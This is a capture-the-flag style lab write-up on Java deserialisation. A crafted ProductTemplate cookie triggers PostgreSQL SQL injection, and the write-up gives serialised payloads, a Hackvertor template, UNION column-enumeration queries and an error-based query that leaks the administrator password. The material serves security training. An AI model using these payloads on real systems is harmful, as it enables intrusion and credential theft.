Developing a custom gadget chain for Java deserialisation

Description

This lab uses a serialisation-based session mechanism. By constructing a suitable gadget chain, it is possible to exploit this lab’s insecure deserialization to obtain the administrator’s password.

Reproduction and proof of concept

Identify the vulnerability

  1. Log in with wiener:peter. A new session cookie is generated. This cookie contains a Java Base64-Encoded Object from data.session.token.AccessTokenUsers (package data.session.token).

session=rO0...
usr"data.session.token.AccessTokenUsers
  1. The source code contains:

<!--/backup/AccessTokenUser.java>Example user-->
  1. In the site map of Engagement Tools -> Discover content after running the tool. The website references the file /backup/AccessTokenUser.java.

HTTP/1.1 200 OK
Set-Cookie: session=; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 486

package data.session.token;

import java.io.Serializable;

public class AccessTokenUser implements Serializable
{
    private final String username;
    private final String accessToken;

    public AccessTokenUser(String username, String accessToken)
    {
        this.username = username;
        this.accessToken = accessToken;
    }

    public String getUsername()
    {
        return username;
    }

    public String getAccessToken()
    {
        return accessToken;
    }
}

This is the class that the cookie object was serialised from. The backend probably serialises this object with the given credentials and then deserialises it in each request. Send this file to Burp Repeater.

  1. The /backup directory also contains a ProductTemplate.java file:

HTTP/1.1 200 OK
Set-Cookie: session=; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 1651

package data.productcatalog;

import common.db.JdbcConnectionBuilder;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
    {
        inputStream.defaultReadObject();

        JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from(
                "org.postgresql.Driver",
                "postgresql",
                "localhost",
                5432,
                "postgres",
                "postgres",
                "password"
        ).withAutoCommit();
        try
        {
            Connection connect = connectionBuilder.connect(30);
            String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
            Statement statement = connect.createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            if (!resultSet.next())
            {
                return;
            }
            product = Product.from(resultSet);
        }
        catch (SQLException e)
        {
            throw new IOException(e);
        }
    }

    public String getId()
    {
        return id;
    }

    public Product getProduct()
    {
        return product;
    }
}

A vulnerable and exploitable class: The ProductTemplate.readObject() method overrides the default readObject() method and passes a a private variable id set by a public function into a SQL query.

  1. Based on the found source code, write a small Java program that instantiates a ProductTemplate with an arbitrary id, serialises it, and then Base64-encodes it. Match the structure the backend uses. A main class calls a package called data.productcatalog. See Code on GitHub.

  2. Use the Java program to create a ProductTemplate with the id set to a single apostrophe. Copy the Base64 string and submit it in a request as the session cookie. The error message confirms that the website is vulnerable to Postgres-based SQL injection via this deserialised object.

$ javac Main.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

$ java Main      
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Serialized object: rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAASc=
Deserialized object ID: '

Serialisation

Extract the password

Having identified the vulnerability, find a way to exploit it to extract the administrator’s password. Use (one of) these options for testing different payloads:

  • Make changes in the Java file like in the previous step, recompile it, and run it again before pasting the new value into the session cookie. This can be time-consuming as you’ll have to repeat all of these steps for each payload you want to test.

  • Alternatively, you can use the Hackvertor extension.

Serialisation

You can then paste the raw serialised object into Burp Repeater and add tags that will update the offsets and Base64-encode the object automatically. This makes it much quicker to test a large number of payloads, and is compatible with Burp Intruder.

This template is Base64-encoded here to avoid copy/paste issues:

PEBiYXNlNjRfND6s7QAFc3IAI2RhdGEucHJvZHVjdGNhdGFsb2cuUHJvZHVjdFRlbXBsYXRlAAAAAAAAAAECAAFMAAJpZHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAA8QGZyb21fY2hhcmNvZGVfMz48QGdldF9sZW4gLz48QC9mcm9tX2NoYXJjb2RlXzM+WU9VUi1QQVlMT0FELUhFUkU8QHNldF9sZW4+PEBsZW5ndGhfMD5ZT1VSLVBBWUxPQUQtSEVSRTxAL2xlbmd0aF8wPjxAL3NldF9sZW4+PEAvYmFzZTY0XzQ+

To use this template:

  1. Copy and paste it into the session cookie in Burp Repeater.

  2. Base64-decode it to reveal something that looks like this:

<@base64_4>’sr#data.productcatalog.ProductTemplateLidtLjava/lang/String;xpt<@from_charcode_3><@get_len /><@/from_charcode_3>YOUR-PAYLOAD-HERE<@set_len><@length_0>YOUR-PAYLOAD-HERE<@/length_0><@/set_len><@/base64_4>
  1. Replace both occurrences of YOUR-PAYLOAD-HERE with the payload that you want to test. Leave everything else as is.

  2. Send the request.

When the query causes no error:

<p class=is-warning>java.lang.ClassCastException: Cannot cast data.productcatalog.ProductTemplate to lab.actions.common.serializable.AccessTokenUser</p>

When an error occurs, something like:

<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: syntax error at or near &quot;1&quot;
Position: 71

If you want to check the output that Hackvertor generated, you can look at the request on the Logger tab.

  1. Trying some random values and analysing the responses: The vulnerability can be exploited by stacked-timebased, time-based and error-based injections, but not boolean-based.

  2. Enumerate the number of columns in the table (8).

SELECT * FROM products WHERE id = ' UNION SELECT NULL--

<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: each UNION query must have the same number of columns
Position: 85</p>

...

SELECT * FROM products WHERE id = ' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types character varying and integer cannot be matched
Position: 85</p>
  1. Determine the data type of the columns. Columns 4, 5, and 6 do not expect values of type string. Columns 4 and 5 are integers:

SELECT * FROM products WHERE id = ' UNION SELECT NULL,NULL,NULL,'a',NULL,NULL,NULL,NULL--

<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: &quot;a&quot;
Position: 100</p>

SELECT * FROM products WHERE id = ' UNION SELECT NULL,NULL,NULL,NULL,'a',NULL,NULL,NULL--

<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: &quot;a&quot;
Position: 105</p>

SELECT * FROM products WHERE id = ' UNION SELECT NULL,NULL,NULL,NULL,NULL,'a',NULL,NULL--

<p class=is-warning>java.lang.ClassCastException: Cannot cast data.productcatalog.ProductTemplate to lab.actions.common.serializable.AccessTokenUser</p>
  1. List the contents of the database and identify that there is a table called users with a column called password.

  2. Use a suitable SQL injection payload to extract the password from the users table. For example, the following payload will trigger an exception that displays the password in the error message:

' UNION SELECT NULL, NULL, NULL, CAST(password AS numeric), NULL, NULL, NULL, NULL FROM users--

Serialisation

  1. To solve the lab, log in as administrator using the extracted password, open the admin panel, and delete Carlos’s account.

Serialisation

Exploitability

An attacker will need to log in; gain access to the source code and use it to construct a gadget chain to obtain the administrator’s password; and then, log in as the administrator and delete Carlos’s account.